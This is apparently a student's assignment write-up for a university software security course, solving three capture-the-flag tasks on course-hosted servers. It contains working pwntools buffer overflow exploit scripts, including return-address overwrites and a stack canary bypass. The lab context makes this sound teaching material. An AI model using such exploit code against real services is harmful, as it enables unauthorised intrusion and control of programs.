INF226 – Mandatory 1

Made by Kasper Melheim

Task 1:

On this task I basically followed the simple buffer overflow examples found in the lectures. Solved it using VSCode on a unix system.

The uncontrolled user input is what causes a vulnerability in the program. At the moment a buffer overflow attack is possible.

I created a connection to the program. I then tried step by step by sending different data to the program, sometimes it returned "Stack smashing detected". So I had to find a way to bypass this.

I first found out the position in memory that we are interested in. I used flat() from pwn for this. I then sent in 16 bytes to fill the length of the "allowed" bytes.

The position in bytes was then added to the end of the 16 bytes already filled. The flag was returned when sent to the program.

Code:

```
#imports
from pwn import *

#host and port number
conn = remote('ctf21.softwaresecurity.no', 7000)

#receive data from program
conn.recvline()

#overflow the 16 bits
bufferoverflow = b'X'*16
#target address
target = flat(0x79beef8b)
print(target)

#data we will send to the program
```

```
data = bufferoverflow + target


#send data and flag will be returned
conn.sendline(data)
conn.interactive()
```

Task 2:

The vulnerability with the program is that we as the user can search the binary file for the position of a getFlag function, aswell as buffer overflow.

This function can be used to return the data we are looking for. Again, we also perform buffer overflow, which is also a failure in the security system of the program.

To find the flag I first had to find out the placement of the getFlag function (found in the sourcecode of the program). I used "objdump -d 01b | grep getFlag" for this. This returns "00000000004011f6 <getFlag>".

01b is the binary file of the program.

Found out we need to use 0x4011f6 as the address.

I then use much of the same code from task 1, where I run bufferoverflow on the 16 bits, and add the address of the function at the end of that. The flag is then returned.

Code:

```
#imports
from pwn import *


#host and port number
conn = remote('ctf21.softwaresecurity.no', 7001)


#receive data from program
conn.recvline()


#overflow the 16 bits
bufferoverflow = b'X'*16
#target address
```

```
target = p64(0x4011f6)

print(target)


#data we will send to the program

data = bufferoverflow + target


#send data and flag will be returned

conn.sendline(data)

conn.interactive()
```

Task 3:

The vulnerability with this program is that we can perform buffer overflow to overwrite the 16 bits, aswell as use a offset and canaryVal to find the position where we want to insert our address.

The adress was found the same way as in task 2, by using objdump on the binary file and look for getFlag.

The offset we need to use was found by sending in various numbers to the program using gdb and run at a breakpoint on a specific line.

When we combined the bufferoverflow, offset, canaryVal and the address, and sent it to the program, the flag was returned.

Code:

```
#Made my Kasper Melheim

#imports

from pwn import *


#host and port number

conn = remote('ctf21.softwaresecurity.no', 7002)


#receive data from program

conn.recv()
```

```
#offset and canaryVal
offset = b'16'
conn.sendline(offset)
number = conn.recv()
canaryVal = p64(int(number()))

#overflow the 16 bits
bufferoverflow = b'X'*(16+8)

#target address
target = p64(0x4007f7)

#data we will send to the program
data = bufferoverflow + canaryVal + b'X'*8 + target

#send data and flag will be returned
conn.sendline(data)
conn.recv()
conn.interactive()
```